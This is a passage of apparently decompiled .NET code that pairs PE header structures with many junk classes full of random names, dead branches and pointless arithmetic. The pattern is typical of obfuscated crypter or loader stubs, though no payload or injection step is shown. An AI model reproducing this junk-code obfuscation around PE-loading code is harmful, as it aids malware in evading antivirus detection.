public uint TimeDateStamp;
|
|
public uint PointerToSymbolTable;
|
|
public uint NumberOfSymbols;
|
|
public ushort SizeOfOptionalHeader;
|
|
public ushort ioiofjg89dfu89fg;
|
|
|
|
public class gfufsfuhgvzsduhsuiofshd
|
|
{
|
|
private string Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud;
|
|
private int tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd;
|
|
private int Bg1VEV3gjgijgigd;
|
|
|
|
public gfufsfuhgvzsduhsuiofshd()
|
|
{
|
|
this.Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud = "dfkodfpogjdf";
|
|
this.tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd = 0;
|
|
this.Bg1VEV3gjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.Z5x1P58f3hGfq3fkH9rLL59DDIK7R9494r5gZgdsiud) > 0.0)
|
|
checked { ++this.tNn0Bd3W7M66Ng41LFDkJwj3654D4jgdikfd; }
|
|
else
|
|
checked { this.Bg1VEV3gjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public struct IMAGE_DATA_DIRECTORY
|
|
{
|
|
public uint VirtualAddress;
|
|
public uint Size;
|
|
}
|
|
|
|
public struct IMAGE_NT_HEADERS
|
|
{
|
|
public uint Signature;
|
|
public dofgdgpd9d0s.IMAGE_FILE_HEADER FileHeader;
|
|
public dofgdgpd9d0s.IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
|
}
|
|
|
|
public enum IMAGE_SIZEOF_SHORT_NAME
|
|
{
|
|
IMAGE_SIZEOF_SHORT_NAME = 8,
|
|
}
|
|
|
|
public struct Misc
|
|
{
|
|
public uint PhysicalAddress;
|
|
public uint VirtualSize;
|
|
}
|
|
|
|
public struct IMAGE_SECTION_HEADER
|
|
{
|
|
public byte Name;
|
|
public dofgdgpd9d0s.Misc Misc;
|
|
public uint VirtualAddress;
|
|
public uint SizeOfRawData;
|
|
public uint PointerToRawData;
|
|
public uint PointerToRelocations;
|
|
public uint PointerToLinenumbers;
|
|
public ushort NumberOfRelocations;
|
|
public ushort NumberOfLinenumbers;
|
|
public uint ioiofjg89dfu89fg;
|
|
|
|
public class fgj89gdfhdfg
|
|
{
|
|
private string kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud;
|
|
private int E21S91Ajgdikfd;
|
|
private int M0M9O2fgjgijgigd;
|
|
|
|
public fgj89gdfhdfg()
|
|
{
|
|
this.kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud = "dfkodfpogjdf";
|
|
this.E21S91Ajgdikfd = 0;
|
|
this.M0M9O2fgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.kYV1d3Ubo3nW3oR9DNTnWC7A1h9weRgdsiud) > 0.0)
|
|
checked { ++this.E21S91Ajgdikfd; }
|
|
else
|
|
checked { this.M0M9O2fgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|
|
|
|
public class fgj89gdfhdfg
|
|
{
|
|
private string X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud;
|
|
private int J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd;
|
|
private int Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd;
|
|
|
|
public fgj89gdfhdfg()
|
|
{
|
|
this.X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud = "dfkodfpogjdf";
|
|
this.J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd = 0;
|
|
this.Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.X1VUOI1193hK4R83uEC6G4E7kHv6kq4gdsiud) > 0.0)
|
|
checked { ++this.J8EvbcO1tHnrbt7W1Tiq52Tbf9f8BE884YZ3jgdikfd; }
|
|
else
|
|
checked { this.Q8j4D0jmsdw634vmr706SsWd42Fgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class h90fdi9s90if
|
|
{
|
|
private string YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud;
|
|
private int j64AS1zbTja7W3jgdikfd;
|
|
private int FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd;
|
|
|
|
public h90fdi9s90if()
|
|
{
|
|
this.YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud = "dfkodfpogjdf";
|
|
this.j64AS1zbTja7W3jgdikfd = 0;
|
|
this.FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.YO8Y5Q9oEl4g3VU4QCI0sLQ5RMmMb4418g3Yn1zFo437oggE9gdsiud) > 0.0)
|
|
checked { ++this.j64AS1zbTja7W3jgdikfd; }
|
|
else
|
|
checked { this.FKTS9RTOxEEmem3481tGjUsG191AW1o6gjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class ki90gfi90i90dg
|
|
{
|
|
private string F1831unnJPj6Sh1TNGFPHrgdsiud;
|
|
private int hDIRw4cHq9o5Njgdikfd;
|
|
private int de27iP9Te6CMt928lES2hzb9vIwgjgijgigd;
|
|
|
|
public ki90gfi90i90dg()
|
|
{
|
|
this.F1831unnJPj6Sh1TNGFPHrgdsiud = "dfkodfpogjdf";
|
|
this.hDIRw4cHq9o5Njgdikfd = 0;
|
|
this.de27iP9Te6CMt928lES2hzb9vIwgjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.F1831unnJPj6Sh1TNGFPHrgdsiud) > 0.0)
|
|
checked { ++this.hDIRw4cHq9o5Njgdikfd; }
|
|
else
|
|
checked { this.de27iP9Te6CMt928lES2hzb9vIwgjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class lplpofd90igdg
|
|
{
|
|
private string aNMBQBu72h5Av4gdsiud;
|
|
private int ar19V3Id5RIXxw9SdG36749jgdikfd;
|
|
private int f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd;
|
|
|
|
public lplpofd90igdg()
|
|
{
|
|
this.aNMBQBu72h5Av4gdsiud = "dfkodfpogjdf";
|
|
this.ar19V3Id5RIXxw9SdG36749jgdikfd = 0;
|
|
this.f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.aNMBQBu72h5Av4gdsiud) > 0.0)
|
|
checked { ++this.ar19V3Id5RIXxw9SdG36749jgdikfd; }
|
|
else
|
|
checked { this.f5O82d6ZNTCDvuP0hWJ13zg97x2d749cimg8x7dk65Uj12nY4ggjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
public class pXZVPtIlCsKAxyPbEpVkVC
|
|
{
|
|
public object AIOgmCUiArGzuHLNxRbhkH(string frUpfEwJnskrttCrBwlsmO)
|
|
{
|
|
string str1 = "DgAyxDAaXVYuyJlQltIkwJ";
|
|
if (true)
|
|
str1 = "miSDZbWfIWTbgjRFzEbYtx";
|
|
string str2 = "FdNkkWKRPEJvvUAptfmaJy";
|
|
string str3 = "EIYPmtDKvzSiVGOEvvwgkJ";
|
|
if (Conversions.ToDouble(str2) == 957651.0)
|
|
str3 = Conversions.ToString(1187301);
|
|
return (object) str3;
|
|
}
|
|
|
|
private void mFktXhXvJbJzJefdzVIAsa()
|
|
{
|
|
string str1 = "lYKlkBJXJOrlVKssKDXwIf";
|
|
string str2 = "yklJClCxdhFDCctxbmspSx";
|
|
string str3 = "QZNIKEvblCIJPdewDsrcTY";
|
|
if (false)
|
|
str1 = "ETpthVWZQRutcCfsnWhXdC";
|
|
else
|
|
str2 = str3;
|
|
string Left = "vNRKIDXlXFKZYwUNptbHTu";
|
|
string str4 = "SuOJoipSjYieDuOWxPmHBc";
|
|
if (Operators.CompareString(Left, "iThdTJctAPRifpmnlZRGJU", false) == 0)
|
|
str4 = Conversions.ToString(Conversions.ToDouble(str3) + 422047.0);
|
|
else
|
|
str4 = "POJiNIkCtrmKlIOTHJIZQL";
|
|
}
|
|
|
|
private void xocsQfukTADEtgsNgocaRA()
|
|
{
|
|
int num1 = 208875;
|
|
int num2 = 255395;
|
|
int num3 = 353478;
|
|
num3 = num1 != num2 ? 650544 : checked (num1 - num2 + 86459);
|
|
string str1 = "xVZFKsYEhYQAzgNdoHfYFT";
|
|
string str2 = "HyTsVVLZwGQVKdJEwmGxCR";
|
|
if (Conversions.ToDouble(str1) > 0.0)
|
|
str2 = "jAPCJswgSJBUkNPPXpQzPH";
|
|
else
|
|
str2 = "zdRBrYmzWxORifxYERCJJr";
|
|
}
|
|
}
|
|
|
|
public class JfLUaVFOtnuOJnwEUAkhUzEIOoLV
|
|
{
|
|
public object YuVxlrZQcCfRrFnExoHdskvHibDT(string JhtUQLlIpXzFpQeJDjvWwOByJrBN)
|
|
{
|
|
string str1 = "gPNxznKgAJnisfNwkKhkokmCeJtI";
|
|
if (true)
|
|
str1 = "LJcJpCktjOpApbCnNbJKspONJRxh";
|
|
string str2 = "vYaVgwkYxIHKarfsBaOXggJJxoTi";
|
|
string str3 = "oPLHQNSpOhAHcyUuPjyIETDCsoKF";
|
|
if (Conversions.ToDouble(str2) == 453536759.0)
|
|
str3 = Conversions.ToString(1315218898);
|
|
return (object) str3;
|
|
}
|
|
|
|
private void DsJBGmPhylfbkIvDnbUPNeRrUpQb()
|
|
{
|
|
string str1 = "muuzrBNTwUJxRpPsYSRBxUiHKAFO";
|
|
string str2 = "CLCmkGtuLdzJdlhmBODnkAYkReAb";
|
|
string str3 = "sbbzNlzBjgdOWCnTkayFnnlrBYhn";
|
|
if (false)
|
|
str1 = "UBoZVxBcLTxQHPWwOZknXWnaRfWH";
|
|
else
|
|
str2 = str3;
|
|
string Left = "aIQfuPopeadmOHnkHNnaJaoUdDmu";
|
|
string str4 = "fNknCbJidGydrfcKYZGIHBgjYVVK";
|
|
if (Operators.CompareString(Left, "luQyhlXSsyzJBImgfHJpLogmjZPO", false) == 0)
|
|
str4 = Conversions.ToString(Conversions.ToDouble(str3) + 757182250.0);
|
|
else
|
|
str4 = "SklSDFSKQxIudJtxeLmKbcGJTzyR";
|
|
}
|
|
|
|
private void bzIYELtjPHDItPXBIEJfUQWzljbD()
|
|
{
|
|
int num1 = 947235358;
|
|
int num2 = 755190472;
|
|
int num3 = 499509791;
|
|
num3 = num1 != num2 ? 288765759 : checked (num1 - num2 + 276087246);
|
|
string str1 = "FJEghyPGtJVnGOaoFUQJnzlkJJUc";
|
|
string str2 = "goJrFiulhrPCNLLxzOSBOVHhyKms";
|
|
if (Conversions.ToDouble(str1) > 0.0)
|
|
str2 = "pdJChdymmjwgTSuwQXJADWcFOdBl";
|
|
else
|
|
str2 = "JPXiXPJfIYtQGTZFLTtiUEdHONxw";
|
|
}
|
|
}
|
|
|
|
public class jio898gufdfddf
|
|
{
|
|
private string uZ5vlQm5a83M97AfWF0182269hiKRgdsiud;
|
|
private int BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd;
|
|
private int sc4m3o1iAWf4Ugjgijgigd;
|
|
|
|
public jio898gufdfddf()
|
|
{
|
|
this.uZ5vlQm5a83M97AfWF0182269hiKRgdsiud = "dfkodfpogjdf";
|
|
this.BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd = 0;
|
|
this.sc4m3o1iAWf4Ugjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.uZ5vlQm5a83M97AfWF0182269hiKRgdsiud) > 0.0)
|
|
checked { ++this.BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd; }
|
|
else
|
|
checked { this.sc4m3o1iAWf4Ugjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
|
|
private enum ImageSignatureTypes
|
|
{
|
|
IMAGE_OS2_SIGNATURE_LE = 17740, // 0x0000454C
|
|
IMAGE_VXD_SIGNATURE = 17740, // 0x0000454C
|
|
IMAGE_OS2_SIGNATURE = 17742, // 0x0000454E
|
|
IMAGE_NT_SIGNATURE = 17744, // 0x00004550
|
|
IMAGE_DOS_SIGNATURE = 23117, // 0x00005A4D
|
|
}
|
|
|
|
public class kpfddfg9089df
|
|
{
|
|
private string c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud;
|
|
private int x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd;
|
|
private int XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd;
|
|
|
|
public kpfddfg9089df()
|
|
{
|
|
this.c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud = "dfkodfpogjdf";
|
|
this.x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd = 0;
|
|
this.XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd = 3465456;
|
|
}
|
|
|
|
private void dsfksgioj()
|
|
{
|
|
if (Conversions.ToDouble(this.c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud) > 0.0)
|
|
checked { ++this.x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd; }
|
|
else
|
|
checked { this.XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd += 3259285; }
|
|
}
|
|
}
|
|
}
|